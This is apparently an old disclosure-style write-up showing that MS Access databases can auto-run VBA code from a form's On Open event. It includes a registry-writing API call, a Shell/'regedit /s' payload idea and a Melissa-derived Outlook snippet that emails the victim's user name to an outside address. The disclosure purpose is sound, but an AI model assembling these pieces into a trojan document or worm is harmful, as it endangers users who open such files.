Microsoft Access Trojan VBA code

--[ Brief Summary:

Microsoft Access Databases are not afforded "Macro execution protection" in the
manner of Word/Excel/Powerpoint documents. Attackers can insert trojan VBA code
into MS Access documents to execute arbitrary commands on the remote machine.

--[ Foreground:

There has been a great deal of discussion about MS Jet and ODBC not affording
appropriate protection to metacharacters, and the subsequent inbound hooks from
an IIS server. (I'm terribly oversimplifying an excellent article by
rfp@wiretrip.net et al: http://www.securityfocus.com/bid/286) However, trojan
applications have created a nasty media stir in the past. With Office 2000
protection from macros, Access stands alone as unprotected. Hence this spin on
the trojan VBA issue.

--[ Background:

There has been (perhaps too much) publicity surrounding the trojan/virus
capabilities of Microsoft Office applications which enable macro execution
options.

The use of these trojans should subside now that Microsoft has implemented more
stringent security options into the Office 2000 suite. Specifically, under
Tools|Macro|Security there are three security levels: High, Medium and Low (not
recommended). The "High security" setting is the default option for Word,
Excel, and Powerpoint. This setting states that "Only signed macros from
trusted sources will be allowed to run. Unsigned macros are automatically
disabled." Bye, bye Melissa. Thhanx, MicroSoft.

The Office 2000 suite uses Visual Basic for Applications (VBA) as it's
application-portable programming language. When a user records a macro in
Word/Excel/Powerpoint, the actions are translated into VBA code. The subsequent
VBA code sequence is then termed a macro, and afforded the protections of the
security settings listed above.

--[ Issue:

The Access application, however uses VBA as an integral part of forms

presentation and processing which is in turn an integral part of a stand-alone
Access application. You turn off VBA, Access is neither shiny nor happy.

An attacker can craft an MS Access database with a single form which auto-
launches. When the database is opened, the form is presented automagically.
Within the properties of the form, the "On Open" property (default sub of
Form_Open) can contain VBA code.

It looks like this:

Double click Database

Open Database
Show Form
Execute VBA code

The user simply opens the document, and the code is launched.
--[ What can VBA do to me?

Bad VBA code has been talked about in several threads. RFP mentions the
VBA.Interaction.Shell command which executes a command on the local system.
This is a quick and dirty payload, especially when coupled to the "regedit /s"
command which would allow an attacker to create a .reg file, and import it into
the registry.

A cleaner way becomes available, which is not available to the ODBC method. The
advapi32.dll API Reg*Ex allows direct registry IO without taking the time to
upload a .reg file. These functions can simply be defined along with the
hideous necesary constants inside the VBA code.

In addition, an attacker can follow in the footsteps of Melissa and use the
VBA.Interaction.CreateObject call to create an MS Outlook instance which sends
trojan email to every address in the addressbook. *yawn*

--[ Examples

Simply click the attached Access application to see the effect this trojan can
have on your system. =) Seriously, these examples require quite a few constant
definitions to work. If you're good enough to get all the constants figured
out, you're sharp enough to create these examples on your own. In short, I
didn't show you how to do it. ;)

Our REG*EX method simply relies on a syntactically clean call to RegCreteKeyEx

to create a registry key:

rc = RegCreateKeyEx(HKEY_CURRENT_USER, "johnny@ihackstuff.com", 0, "", _

REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, secattr, Result, Disposition)

This line will create a key under HKEY_CURRENT_USER called

"johnny@ihackstuff.com". Groovy.
The other calls, including RegSetValueEx and RegDeleteKey do various groovy
things too.

In honor of Kwyjibo, we can use the VBA.Interaction.CreateObject method to

spread like wildfire thanks to MS Outlook:

---Snip from Melissa---

Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")

If UngaDasOutlook = "Outlook" Then

DasMapiName.Logon "profile", "password"

Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)

BreakUmOffASlice.Recipients.Add "johnny@ihackstuff.com"
BreakUmOffASlice.Subject = "Important Message From " &
Application.CurrentUser
BreakUmOffASlice.Send

DasMapiName.Logoff
---snip---

Access doesn't implement the System library like MS Word does. Hence, the
System.[doregistrystuff] calls won't work here. The system calls can be
replaced with just about any API you care to 'Define' in the VBA code. Other
VBA libraries such as the Application library shown above may prove as suitable
replacements.
--[ Conclusion

Microsoft has certainly taken strides to protect against application trojans

within the Office 2000 suite. However, MS Access would have to be (IMHO) gutted
and filleted in order to follow the same security measures. In the mean time,
be sure not to trust every MS Access database you stumble across in your inbox.
;)

I will be posting .MDB files of the above examples on my web site shortly. I
need to tidy the place up a bit first. ;)
(http://johnny.ihackstuff.com/access_vba.html)

--[ Shouts

Jake, Mac, Buddy

ADM, "...'cuz _damn_"
RFP for those writeups that take me days to really _get_
the boys and girls of CHAOS for keeping it real
route for right pointers ;)
topher, coretez, dr. mudge, hobs, punkis
The boys of HL

"I'm Johnny. I hack stuff." - johnny@ihackstuff.com

http://johnny.ihackstuff.com